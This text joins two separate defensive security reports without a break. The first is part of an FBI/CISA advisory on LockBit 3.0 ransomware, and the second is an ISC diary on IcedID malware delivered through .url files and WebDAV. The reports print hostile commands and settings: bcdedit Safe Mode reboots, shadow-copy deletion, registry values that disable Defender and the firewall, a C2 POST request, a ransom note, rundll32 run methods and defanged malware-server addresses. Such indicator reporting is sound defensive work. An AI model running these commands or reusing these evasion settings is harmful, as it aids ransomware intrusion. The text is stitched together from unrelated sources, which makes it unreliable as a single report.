• Enumerating system information such as hostname, host configuration, domain information, local drive configuration, remote shares, and mounted external storage devices [T1082]
• Terminating processes and services [T1489]
• Launching commands [TA0002]
• Enabling automatic logon for persistence and privilege escalation [T1547]
• Deleting log files, files in the recycle bin folder, and shadow copies residing on disk [T1485], [T1490]

LockBit 3.0 attempts to spread across a victim network by using a preconfigured list of credentials hardcoded at compilation time or a compromised local account with elevated privileges [T1078]. When compiled, LockBit 3.0 may also enable options for spreading via Group Policy Objects and PsExec using the Server Message Block (SMB) protocol. LockBit 3.0 attempts to encrypt [T1486] data saved to any local or remote device, but skips files associated with core system functions.

After files are encrypted, LockBit 3.0 drops a ransom note with the new filename <Ransomware ID>.README.txt and changes the host’s wallpaper and icons to LockBit 3.0 branding [T1491.001]. If needed, LockBit 3.0 will send encrypted host and bot information to a command and control (C2) server [T1027].

Once completed, LockBit 3.0 may delete itself from the disk [T1070.004] as well as any Group Policy updates that were made, depending on which options were set at compilation time.

EXFILTRATION

LockBit 3.0 affiliates use Stealbit, a custom exfiltration tool used previously with LockBit 2.0 [TA0010]; rclone, an open-source command line cloud storage manager [T1567.002]; and publicly available file sharing services, such as MEGA [T1567.002], to exfiltrate sensitive company data files prior to encryption. While rclone and many publicly available file sharing services are primarily used for legitimate purposes, they can also be used by threat actors to aid in system compromise, network exploration, or data exfiltration. LockBit 3.0 affiliates often use other publicly available file sharing services to exfiltrate data as well [T1567] (see Table 1).

LEVERAGING FREEWARE AND OPEN-SOURCE TOOLS

LockBit affiliates have been observed using various freeware and open-source tools during their intrusions. These tools are used for a range of activities such as network reconnaissance, remote access and tunneling, credential dumping, and file exfiltration. Use of PowerShell and Batch scripts
are observed across most intrusions, which focus on system discovery, reconnaissance, password/credential hunting, and privilege escalation. Artifacts of professional penetration-testing tools such as Metasploit and Cobalt Strike have also been observed. See Table 2 for a list of legitimate freeware and open-source tools LockBit affiliates have repurposed for ransomware operations:

Indicators of Compromise (IOCs)

The IOCs and malware characteristics outlined below were derived from field analysis. The following samples are current as of March 2023.

LockBit 3.0 Black Icon

LockBit 3.0 Wallpaper

LockBit Command Line Parameters

-del

-gdel

-gspd

-pass (32 character value)

-path (File or path)

-psex

-safe

-wall

Mutual Exclusion Object (Mutex) Created

When executed, LockBit 3.0 will create the mutex, Global\<MD4 hash of machine GUID>,
and check to see if this mutex has already been created to avoid running more than one instance of the ransomware.

UAC Bypass via Elevated COM Interface

LockBit 3.0 is capable of bypassing User Account Control (UAC) to execute code with elevated privileges via elevated Component Object Model (COM) Interface. C:\Windows\System32\dllhost.exe is spawned with high integrity with the command line GUID 3E5FC7F9-9A51-4367-9063-A120244FBEC.

For example, %SYSTEM32%\dllhost.exe/Processid:{3E5FC7F9-9A51-4367-9063- A120244FBEC7}.

Volume Shadow Copy Deletion

LockBit 3.0 uses Windows Management Instrumentation (WMI) to identify and delete Volume Shadow Copies. LockBit 3.0 uses select * from Win32_ShadowCopy to query for Volume Shadow copies, Win32_ShadowCopy.ID to obtain the ID of the shadow copy, and DeleteInstance to delete any shadow copies.

Registry Artifacts

LockBit 3.0 Icon

HKCR\. <Malware Extension>

(Default)

<Malware Extension>

HKCR\<MalwareExtension>\DefaultIcon

(Default)

C:\ProgramData\<Malware Extension>.ico

LockBit 3.0 Wallpaper

HKCU\Control Panel\Desktop\WallPaper

(Default)

C:\ProgramData\<Mal ware Extension>.bmp

Disable Privacy Settings Experience

SOFTWARE\Policies\Microsoft\Windows\OOBE

DisablePrivacyExperience

Enable Automatic Logon

SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

AutoAdminLogon

1

DefaultUserName

<username>

DefaultDomainName

<domain name>

DefaultPassword

<password>

Disable and Clear Windows Event Logs

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\*

Enabled

0

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\* \ChannelAccess

ChannelAccess

AO:BAG:SYD:(A;;0x1;;;SY)(A;;0x5;;;BA)(A;;0x1;;;LA)

Ransom Locations

ADMIN$\Temp\<LockBit3.0 Filename>.exe

%SystemRoot%\Temp\<LockBit3.0 Filename>.exe

\<Domain Name>\sysvol\<Domain Name>\scripts\<Lockbit 3.0Filename>.exe (Domain Controller)

Safe Mode Launch Commands

LockBit 3.0 has a Safe Mode feature to circumvent endpoint antivirus and detection. Depending upon the host operating system, the following command is launched to reboot the system to Safe Mode with Networking:

bcdedit /set {current} safeboot network

bootcfg /raw /a /safeboot:network /id 1

bcdedit /deletevalue {current} safeboot

bootcfg /raw /fastdetect /id 1

Group Policy Artifacts

The following are Group Policy Extensible Markup Language (XML) files identified after a LockBit 3.0 infection:

Services.xml stops and disables services on the Active Directory (AD) hosts.

Registry.pol

The following registry configuration changes values for the Group Policy refresh time, disable SmartScreen, and disable Windows Defender.

HKLM\SOFTWARE\Policies\Microsoft\Windows\System

GroupPolicyRefreshTimeDC

REG_DWORD

1

HKLM\SOFTWARE\Policies\Microsoft\Windows\System

GroupPolicyRefreshTimeOffsetDC

REG_DWORD

1

HKLM\SOFTWARE\Policies\Microsoft\Windows\System

GroupPolicyRefreshTime

REG_DWORD

1

HKLM\SOFTWARE\Policies\Microsoft\Windows\System

GroupPolicyRefreshTimeOffset

REG_DWORD

1

HKLM\SOFTWARE\Policies\Microsoft\Windows\System

EnableSmartScreen

REG_DWORD

0

HKLM\SOFTWARE\Policies\Microsoft\Windows\System

**del.ShellSmartScreenLevel

REG_SZ

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender

DisableAntiSpyware

REG_DWORD

1

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender

DisableRoutinelyTakingAction

REG_DWORD

1

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection

DisableRealtimeMonitoring

REG_DWORD

1

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection

DisableBehaviorMonitoring

REG_DWORD

1

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet

SubmitSamplesConsent

REG_DWORD

2

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet

SpynetReporting

REG_DWORD

0

HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile

EnableFirewall

REG_DWORD

0

HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile

EnableFirewall

REG_DWORD

0

Force GPUpdate

Once new group policies are added, a PowerShell command using Group Policy update (GPUpdate) applies the new group policy changes to all computers on the AD domain.

Services Killed

Processes Killed

LockBit 3.0 Ransom Note

~~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~~~
>>>>> Your data is stolen and encrypted.
If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data appears on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time. The sooner you pay the ransom, the sooner your company will be safe.

Network Connections

If configured, Lockbit 3.0 will send two HTTP POST requests to one of the C2servers. Information about the victim host and bot are encrypted with an Advanced Encryption Standard (AES) key and encoded in Base64.

Example of HTTP POST requestPOST <Lockbit C2>/?7F6Da=u5a0TdP0&Aojq=&NtN1W=OuoaovMvrVJSmPNaA5&fckp9=FCYyT6b7kdyeEXywS8I8 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflate, br Content-Type: text/plainUser-Agent: Safari/537.36 <Lockbit User Agent String>Host: <Lockbit C2>Connection: Keep-Alive LIWy=RJ51lB5GM&a4OuN=<LockbitID>&LoSyE3=8SZ1hdlhzld4&DHnd99T=rTx9xGlInO6X0zWW&2D6=Bokz&T1guL=MtRZsFCRMKyBmfmqI& 6SF3g=JPDt9lfJIQ&wQadZP=<Base64 encrypted data> Xni=AboZOXwUw&2rQnM4=94L&0b=ZfKv7c&NO1d=M2kJlyus&AgbDTb=xwSpba&8sr=EndL4n0HVZjxPR& m4ZhTTH=sBVnPY&xZDiygN=cU1pAwKEztU&=5q55aFIAfTVQWTEm&4sXwVWcyhy=l68FrIdBESIvfCkvYlExample of information found in encrypted data{"bot_version":"X","bot_id":"X","bot_company":"X", "host_hostname":"X", "host_user":"X","host_os":"X","host_domain":"X","host_arch":"X","host_lang":"X", "disks_info":[{"disk_name":"X","disk_size":"XXXX", "free_size":"XXXXX"}

User Agent Strings

MITRE ATT&CK TECHNIQUES

See Table 3 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping to the MITRE ATT&CK framework, see CISA’s Decider Tool and Best Practices for MITRE ATT&CK Mapping Guide.

MITIGATIONS

The FBI, CISA, and the MS-ISAC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of LockBit 3.0’s activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers [CPG 7.3] in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud).
• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies [CPG 3.4].
  • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length [CPG 1.4]
  • Store passwords in hashed format using industry-recognized password managers
  • Add password user “salts” to shared login credentials
  • Avoid reusing passwords
  • Implement multiple failed login attempt account lockouts [CPG 1.1]
  • Disable password “hints”
  • Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
  • Require administrator credentials to install software
• Require phishing-resistant multifactor authentication [CPG 1.3] for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats.
• Segment networks [CPG 8.1] to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement.
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network [CPG 5.1]. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 1.5].
• Disable unused ports.
• Consider adding an email banner to emails [CPG 8.3] received from outside your organization.
• Disable hyperlinks in received emails.
• Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.
• Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.
• Maintain offline backups of data, and regularly maintain backup and restoration [CPG 7.3]. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.
• Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 3.3].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the FBI, CISA, and the MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and the MS-ISAC authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:

1. Select an ATT&CK technique described in this advisory (see Table 3).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and the MS-ISAC recommend continually testing your security program at scale and in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
• No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.

REPORTING

The FBI is seeking any information that can be legally shared, including:

• Boundary logs showing communication to and from foreign IP addresses
• Sample ransom note
• Communications with LockBit 3.0 actors
• Bitcoin wallet information
• Decryptor files
• Benign sample of an encrypted file

The FBI, CISA, and MS-ISAC do not encourage paying ransom, as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office or CISA at This email address is being protected from spambots. You need JavaScript enabled to view it.. State, local, tribal, and territorial (SLTT) government entities can also report to the MS-ISAC (This email address is being protected from spambots. You need JavaScript enabled to view it. or 866-787-4722).

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, or the MS-ISAC.

Your feedback is important. Please take a few minutes to share your opinions on this product through an anonymous Product Feedback Survey.

Introduction

IcedID (also known as Bokbot) is an information stealer/backdoor malware that can lead to other activity like Cobalt Strike and Virtual Network Computing (VNC) traffic. IcedID is often distributed through email, and we've also seen it delivered by fake software sites from Google ad traffic.

For email-based distribution, we've seen OneNote files as an initial lure this month (here's one example). But these distribution patterns occasionally change. For example, on Tuesday 2023-02-21, we found a distribution pattern using .url files and WebDAV traffic for an IcedID infection.

Today's diary reviews an infection from Thursday 2023-02-23 generated by one of those .url files.

Shown above: Flow chart for the infection activity.

The Discovery

On Tuesday 2023-02-21, @wwp96 tweeted about an open directory at hxxp://104.156.149[.]6/webdav/. Searching VirusTotal revealed at least 22 .url files that attempt to contact the server. These .url files all use file:\\\\ instead of http:// for the URL, and they all grab a similarly-named .bat file from the open directory.

Shown above: URL file and the associated BAT file.

The .bat file runs a DLL installer for IcedID on the same server at \\104.156.149[.]6\webdav\host.dll.

WebDAV Traffic

The .url and .bat files both use WebDAV to retrieve and run the malware. WebDAV stands for "Web Distributed Authoring and Versioning," and it's a set of extensions to the HTTP protocol that allows users to access and edit files on a remote web server.

You can access WebDAV servers using Windows File Explorer. The image below shows what happened when we opened \\104.156.149[.]6\webdav\ in a File Explorer window.

Shown above: Opening the malicious WebDAV server in Windows File Explorer.

This WevDAV activity generated several HTTP PROPFIND and GET requests. While GET requests are seen in almost any HTTP traffic, these PROPFIND requests are specific to WebDAV. Reviewing our pcap of the IcedID infection in Wireshark, we can find several HTTP PROPFIND requests over TCP port 80.

Shown above: Traffic from the infection filtered in Wireshark, highlighting the WebDAV PROPFIND requests.

Following TCP streams for any of the PROPFIND requests reveals a Microsoft WebDAV user agent in the request headers. The WebDAV server returns an XML file with properties of the specified directory or file.

Shown above: TCP stream of a WebDAV PROPFIND request over HTTP.

IcedID Traffic From The Infected Windows Host

After the WebDAV activity, infection traffic was similar to previous IcedID infections. The only unusual activity was an HTTP GET request using cURL to hxxp://mandalorecnote[.]com/images/ caused by the .bat file.

Shown above: Traffic from the infection filtered in Wireshark.

The HTTP GET request to hxxp://mandalorecnote[.]com/images/ returned a 12kB 64-bit DLL. This DLL doesn't appear to be used for the IcedID infection, and a cursory forensic investigation didn't find it saved to disk. It's likely a decoy file or decoy traffic, and the DLL doesn't immediately seem malicious. However, it's still an indicator for this specific wave of IcedID activity.

Shown above: 12 kB DLL returned from mandalorecnote[.]com, possible decoy traffic or file.

Indicators of Compromise (IOCs)

The following are IOCs from the infection we generated on Thursday 2023-02-23.

22 .url files found on VirusTotal that contact the malicious WebDAV server.

Read: SHA256 hash - file name

• 0a79166f95d1f1a3542135241ea42026188916ea9c06510c20247849c5ad6f0e - PO#56034.url
• 0dfd67dafe621b57eac338e581d65598197cdb0a499a8345fa9beeae9196d8e8 - PO#15986.url
• 145b2d2a7d52f6c9ff96fbd2338204a7eb062ed271893faa7ad5a87b0879fa50 - PO#66438.url
• 1574ed0b6c1b82089dc8fc098acc3bb86c63aa11f24e45c6683a485fe109777a - PO#89932.url
• 161baa1e72a4f23c9c7fee1431d3fcb07a0fd832a4318c1ebe7526de71baedda - PO#39134.url
• 1c3ece4a1e0c9cf42a063b76da6d22c1bd43e929ce01cc51d506880b8d86f72f - PO#36627.url
• 2505d97d1b34bc27e13e6e212fa591866a3a384952d404ceb7c1a8f385ac6238 - PO#84049.url
• 266c106ef803493a9dc14f48437c482088764ea47eb14214f09d49ad1ad62c71 - PO#31084.url
• 2bdc4b5aa6b3f9395065f2c31ba130ecc21fbe4db3fcdb3c60a526e34e72bd74 - PO#61467.url
• 48b05dcb2f48ae742498e040135079a8b59f3698d1619c44622b0fe558760342 - PO#92390.url
• 4cc43b0ec10ad3f8521504df13f38182d945b865dac070b8663c262ec2b2ed69 - PO#96856.url
• 5d9ffcd009e5fde1eaa2eb6a2fbead02b3169024401720e2a06e90e3edd10cb9 - PO#37820.url
• 690b002884d71774f0877ad69385c12d0f814606296c69b647bd19a900cdd768 - PO#66703.url
• acc3d0964c41f6553d3aca71ba8baec044a2158ea019ecf50d8fa1d9e6720298 - PO#68631.url
• accf567245e184467ead9e9e5a52ab68d7bd0c9eaa81848b439cec69fd808416 - PO#69421.url
• b1c1977b5d5b0705fa3e29b9cd5760e2f394698ad9594f626104021893bddc20 - PO#59042.url
• c823261b03d11d23e76756643c8ca28baf024353464297346612af908bda4d8e - PO#94545.url
• d02a84eb7972ce9e1a092702595750ec687f850ebbd1879a3fe5944f51b24473 - PO#16873.url
• d5332249fcef78250100b4a147ef336279f188336f2d543dd5b3638973b107be - PO#84805.url
• dcf2a4d0ee66d3f47d9ff4ee9bcbc63c3286559a0ba80ab129034639b063f7f1 - PO#44959.url
• f4c46cf9ffd25764a63bcc6d158bfad5495802f830266111a37d39f107eee6d4 - PO#36434.url
• fae4e3388e95d2e710257ae86ff482258f0f51458f42d116349ebc6a9266b29f - PO#99805.url

Files from an infected Windows host:

SHA256 hash: 2bdc4b5aa6b3f9395065f2c31ba130ecc21fbe4db3fcdb3c60a526e34e72bd74

• File size: 66 bytes
• File name: PO#61467.url
• File description: Found on VirusTotal, .url file for IcedID used to generate this infection

SHA256 hash: 2c814c61891a1b3b9067b82b5357d13505b4ced6fd827fdde4c3116efb3f9cef

• File size: 114 bytes
• File location: \\104.156.149[.]6\webdav\PO_61467.bat
• File description: .bat file retrieved by the above .url file

SHA256 hash: 6daeb5feb3cf988790b30152a25617566523fad65cbc4846e3a715c2e4dfb307

• File size: 12,041 bytes
• File location: hxxp://mandalorecnote[.]com/images/
• File description: Probable decoy 64-bit DLL file returned from mandalorecnote.com
• Note: This DLL doesn't appear to be malicious, and it doesn't seem to be used for the infection, but is still an indicator

SHA256 hash: 8d076fe2d93a9ebd5701eb7a1acab37e9d390df7f50e6d155c6c7289934d2b54

• File size: 243,712 bytes
• File location: \\104.156.149[.]6\webdav\host.dll
• File description: 64-bit DLL installer for IcedID
• Run method: rundll32.exe [filename],XSSCheckStart

SHA256 hash: d1ac1a32c791141d89d3df990f95b8011cfc2ec585a8c8715c0bac61e63b1a95

• File size: 506,299 bytes
• File location: hxxp://ituitem[.]net/
• File description: Retrieved by above IcedID installer, gzip binary from ituitem[.]net

SHA256 hash: f2ab26557364d548a40ab3c43db78e03750e8eb391258080dda31b5c3f71c1d9

• File location: Data binary used to run persistent IcedID DLL
• File description: C:\Users\[username]\AppData\Roaming\ExpandStrong\license.dat

SHA256 hash: a01a82f3edd13700ea85115e553fb7a601b098891cbbebbc94b2289ae40bedce

• File size: 220,160 bytes
• File location: C:\Users\[username]\AppData\Roaming\Lied2\Ayifoqpw4.dll
• File description: Persistent 64-bit DLL for IcedID
• Run method: rundll32.exe [filename],#1 --biti="[path to license.dat]"

Traffic from an infected Windows host:

WebDAV traffic generated by .url file:

• 104.156.149[.]6 port 80 - 104.156.149[.]6 - PROPFIND /webdav HTTP/1.1
• 104.156.149[.]6 port 80 - 104.156.149[.]6 - PROPFIND /webdav/PO_61467.bat HTTP/1.1
• 104.156.149[.]6 port 80 - 104.156.149[.]6 - GET /webdav/PO_61467.bat HTTP/1.1

WebDAV traffic generated by PO_61467.bat file:

• 104.156.149[.]6 port 80 - 104.156.149[.]6 - PROPFIND /webdav/host.dll.manifest HTTP/1.1
• 104.156.149[.]6 port 80 - 104.156.149[.]6 - PROPFIND /webdav/host.dll HTTP/1.1
• 104.156.149[.]6 port 80 - 104.156.149[.]6 - GET /webdav/host.dll HTTP/1.1
• 104.156.149[.]6 port 80 - 104.156.149[.]6 - PROPFIND /webdav/host.dll.123.Manifest HTTP/1.1
• 104.156.149[.]6 port 80 - 104.156.149[.]6 - PROPFIND /webdav/host.dll.124.Manifest HTTP/1.1
• 104.156.149[.]6 port 80 - 104.156.149[.]6 - PROPFIND /webdav/host.dll.2.Config HTTP/1.1

HTTP traffic generated by PO_61467.bat file:

• 157.254.195[.]65 port 80 - mandalorecnote[.]com - GET /images/ HTTP/1.1

Traffic generated by IcedID installer (host.dll) for gzip binary:

• 5.61.47[.]8 port 443 - ituitem[.]net - HTTPS traffic
• 5.61.47[.]8 port 80 - ituitem[.]net - GET / HTTP/1.1

IcedID C2 traffic:

• 38.180.0[.]89 port 443 - renomesolar[.]com - HTTPS traffic
• 37.252.6[.]77 port 443 - palasedelareforma[.]com - HTTPS traffic
• 80.78.24[.]30 port 443 - noosaerty[.]com - HTTPS traffic

Final Words

A pcap of the infection traffic, along with the associated malware samples from today's diary can be found here.

----
Brad Duncan
brad [at] malware-traffic-analysis.net